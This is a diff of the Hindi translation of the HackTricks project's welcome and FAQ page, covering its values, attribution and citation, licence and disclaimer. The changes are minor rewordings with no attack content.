@ -7,15 +7,15 @@
|
||||
> [!TIP]
|
||||
> ये हैं **HackTricks प्रोजेक्ट के मूल्य**:
|
||||
>
|
||||
> - **सभी** इंटरनेट को **शैक्षिक हैकिंग** संसाधनों का **मुफ्त** एक्सेस दें।
|
||||
> - **सभी** इंटरनेट के लिए **शैक्षिक हैकिंग** संसाधनों का **मुफ्त** एक्सेस दें।
|
||||
> - हैकिंग सीखने के बारे में है, और सीखना जितना संभव हो उतना मुफ्त होना चाहिए।
|
||||
> - इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में कार्य करना है।
|
||||
> - समुदाय द्वारा प्रकाशित अद्भुत **हैकिंग** तकनीकों को **स्टोर** करें और **मूल** **लेखकों** को सभी **श्रेय** दें।
|
||||
> - **हम दूसरों से श्रेय नहीं चाहते**, हम बस सभी के लिए कूल ट्रिक्स स्टोर करना चाहते हैं।
|
||||
> - समुदाय द्वारा प्रकाशित अद्भुत **हैकिंग** तकनीकों को **स्टोर** करें, सभी **क्रेडिट** **मूल लेखकों** को दें।
|
||||
> - **हम दूसरों से क्रेडिट नहीं चाहते**, हम बस सभी के लिए कूल ट्रिक्स स्टोर करना चाहते हैं।
|
||||
> - हम HackTricks में **अपनी खुद की रिसर्च** भी लिखते हैं।
|
||||
> - कई मामलों में हम बस HackTricks में तकनीक के महत्वपूर्ण भागों का **संक्षेप में लिखेंगे** और **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे** अधिक विवरण के लिए।
|
||||
> - कई मामलों में हम बस HackTricks में तकनीक के महत्वपूर्ण भागों का **संक्षेप लिखेंगे** और **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे** अधिक विवरण के लिए।
|
||||
> - पुस्तक में सभी हैकिंग तकनीकों को **व्यवस्थित** करें ताकि यह **अधिक सुलभ** हो।
|
||||
> - HackTricks टीम ने लोगों को **तेजी से सीखने** के लिए सामग्री को **व्यवस्थित करने** के लिए मुफ्त में हजारों घंटे समर्पित किए हैं।
|
||||
> - HackTricks टीम ने लोगों को **तेजी से सीखने** के लिए सामग्री को **व्यवस्थित करने** के लिए हजारों घंटे मुफ्त में समर्पित किए हैं।
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -25,8 +25,8 @@
|
||||
>
|
||||
> - **इन संसाधनों के लिए बहुत धन्यवाद, मैं आपको कैसे धन्यवाद कह सकता हूँ?**
|
||||
|
||||
आप HackTricks टीमों को इन सभी संसाधनों को सार्वजनिक रूप से एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके धन्यवाद दे सकते हैं।\
|
||||
यदि आप विशेष रूप से आभारी हैं तो आप [**यहां प्रोजेक्ट को स्पॉन्सर कर सकते हैं**](https://github.com/sponsors/carlospolop)।\
|
||||
आप HackTricks टीम को इन सभी संसाधनों को सार्वजनिक रूप से एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके धन्यवाद दे सकते हैं।\
|
||||
यदि आप विशेष रूप से आभारी हैं, तो आप [**यहां प्रोजेक्ट को स्पॉन्सर कर सकते हैं**](https://github.com/sponsors/carlospolop)।\
|
||||
और Github प्रोजेक्ट्स में **एक स्टार देना न भूलें!** (नीचे लिंक खोजें)।
|
||||
|
||||
> [!TIP]
|
||||
@ -48,9 +48,9 @@ Github प्रोजेक्ट्स में **एक स्टार द
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **मैं HackTricks के एक पृष्ठ का उद्धरण कैसे दे सकता हूँ?**
|
||||
> - **मैं HackTricks का एक पृष्ठ कैसे कर सकता हूँ?**
|
||||
|
||||
जब तक उस पृष्ठ का **लिंक** जहाँ से आपने जानकारी ली है, दिखाई देता है, यह पर्याप्त है।\
|
||||
जब तक पृष्ठों का **लिंक** जहाँ से आपने जानकारी ली है, दिखाई देता है, यह पर्याप्त है।\
|
||||
यदि आपको एक bibtex की आवश्यकता है, तो आप कुछ ऐसा उपयोग कर सकते हैं:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
@ -64,7 +64,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **क्या मैं अपने ब्लॉग में सभी HackTricks की कॉपी कर सकता हूँ?**
|
||||
|
||||
**मैं ऐसा नहीं करना चाहूंगा**। यह **किसी के लिए भी फायदेमंद नहीं होगा** क्योंकि सभी **सामग्री पहले से ही आधिकारिक HackTricks पुस्तकों में मुफ्त में उपलब्ध है**।
|
||||
**मैं ऐसा नहीं करना चाहूँगा**। यह **किसी के लिए भी फायदेमंद नहीं होगा** क्योंकि सभी **सामग्री पहले से ही आधिकारिक HackTricks पुस्तकों में मुफ्त में उपलब्ध है**।
|
||||
|
||||
यदि आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github पर फोर्क करें या डाउनलोड करें, जैसा कि मैंने कहा, यह पहले से ही मुफ्त है।
|
||||
|
||||
@ -94,7 +94,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
- आपके **SEO** में सुधार होता है
|
||||
- सामग्री **15 से अधिक भाषाओं में अनुवादित** होती है जिससे अधिक लोग इस सामग्री तक पहुँच सकते हैं
|
||||
- **HackTricks लोगों को** **आपके पृष्ठ की जांच करने के लिए प्रोत्साहित करता है** (कई लोगों ने हमें बताया है कि जब से उनका कुछ पृष्ठ HackTricks में है, उन्हें अधिक विज़िट मिलते हैं)
|
||||
- **HackTricks लोगों को** **आपके पृष्ठ** की **जांच करने के लिए प्रोत्साहित करता है** (कई लोगों ने हमें बताया है कि जब से उनका कुछ पृष्ठ HackTricks में है, उन्हें अधिक विज़िट मिलते हैं)
|
||||
|
||||
हालांकि, यदि आप अभी भी चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटा दी जाए, तो बस हमें बताएं और हम निश्चित रूप से **आपके ब्लॉग के हर लिंक को हटा देंगे**, और उस पर आधारित कोई भी सामग्री।
|
||||
|
||||
@ -102,7 +102,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **अगर मैं HackTricks में कॉपी-पेस्ट की गई सामग्री पाता हूँ तो मुझे क्या करना चाहिए?**
|
||||
|
||||
हम हमेशा **मूल लेखकों को सभी श्रेय देते हैं**। यदि आप एक पृष्ठ पाते हैं जिसमें कॉपी-पेस्ट की गई सामग्री है बिना मूल स्रोत का संदर्भ दिए, तो हमें बताएं और हम या तो **इसे हटा देंगे**, **पाठ से पहले लिंक जोड़ेंगे**, या **इसे फिर से लिखेंगे और लिंक जोड़ेंगे**।
|
||||
हम हमेशा **मूल लेखकों को सभी श्रेय देते हैं**। यदि आप एक पृष्ठ पाते हैं जिसमें कॉपी-पेस्ट की गई सामग्री है बिना मूल स्रोत का संदर्भ दिए, तो हमें बताएं और हम या तो **इसे हटा देंगे**, **पाठ से पहले लिंक जोड़ेंगे**, या **इसे फिर से लिखेंगे लिंक जोड़ते हुए**।
|
||||
|
||||
## LICENSE
|
||||
|
||||
@ -116,7 +116,7 @@ Copyright © सभी अधिकार सुरक्षित हैं ज
|
||||
|
||||
#### अतिरिक्त शर्तें:
|
||||
|
||||
- तृतीय-पक्ष सामग्री: इस ब्लॉग/पुस्तक के कुछ भागों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉगों या प्रकाशनों से अंश। ऐसी सामग्री का उपयोग उचित उपयोग के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों से स्पष्ट अनुमति के साथ किया गया है। कृपया तृतीय-पक्ष सामग्री के लिए विशिष्ट लाइसेंसिंग जानकारी के लिए मूल स्रोतों का संदर्भ लें।
|
||||
- तृतीय-पक्ष सामग्री: इस ब्लॉग/पुस्तक के कुछ भागों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉगों या प्रकाशनों से अंश। ऐसी सामग्री का उपयोग उचित उपयोग के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों से स्पष्ट अनुमति के साथ किया जाता है। कृपया तृतीय-पक्ष सामग्री के लिए विशिष्ट लाइसेंसिंग जानकारी के लिए मूल स्रोतों को देखें।
|
||||
- लेखन: HackTricks द्वारा लिखी गई मूल सामग्री इस लाइसेंस की शर्तों के अधीन है। आप इस काम को साझा या अनुकूलित करते समय लेखक को श्रेय देने के लिए प्रोत्साहित हैं।
|
||||
|
||||
#### छूट:
|
||||
@ -132,7 +132,7 @@ Copyright © सभी अधिकार सुरक्षित हैं ज
|
||||
> [!CAUTION]
|
||||
> यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में सामग्री 'जैसी है' के आधार पर प्रदान की गई है, और लेखक और प्रकाशक किसी भी प्रकार की, स्पष्ट या निहित, पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या इस पुस्तक में निहित जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते हैं। इसलिए, आप जिस जानकारी पर भरोसा करते हैं, वह पूरी तरह से आपके अपने जोखिम पर है।
|
||||
>
|
||||
> लेखक और प्रकाशक किसी भी स्थिति में किसी भी हानि या क्षति के लिए उत्तरदायी नहीं होंगे, जिसमें बिना सीमा, अप्रत्यक्ष या परिणामी हानि या क्षति, या डेटा या लाभ के नुकसान से उत्पन्न होने वाली किसी भी हानि या क्षति शामिल है, जो इस पुस्तक के उपयोग से उत्पन्न होती है या इससे संबंधित होती है।
|
||||
> लेखक और प्रकाशक किसी भी स्थिति में किसी भी हानि या क्षति के लिए उत्तरदायी नहीं होंगे, जिसमें बिना सीमा, अप्रत्यक्ष या परिणामी हानि या क्षति, या डेटा या लाभ के नुकसान से उत्पन्न होने वाली कोई भी हानि या क्षति शामिल है, जो इस पुस्तक के उपयोग से उत्पन्न होती है या इससे संबंधित होती है।
|
||||
>
|
||||
> इसके अलावा, इस पुस्तक में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान किए गए हैं, और इन्हें किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या समर्थन नहीं करते हैं, और इस पुस्तक में निहित जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
|
||||
>
|
||||
|
Loading…
x
Reference in New Issue
Block a user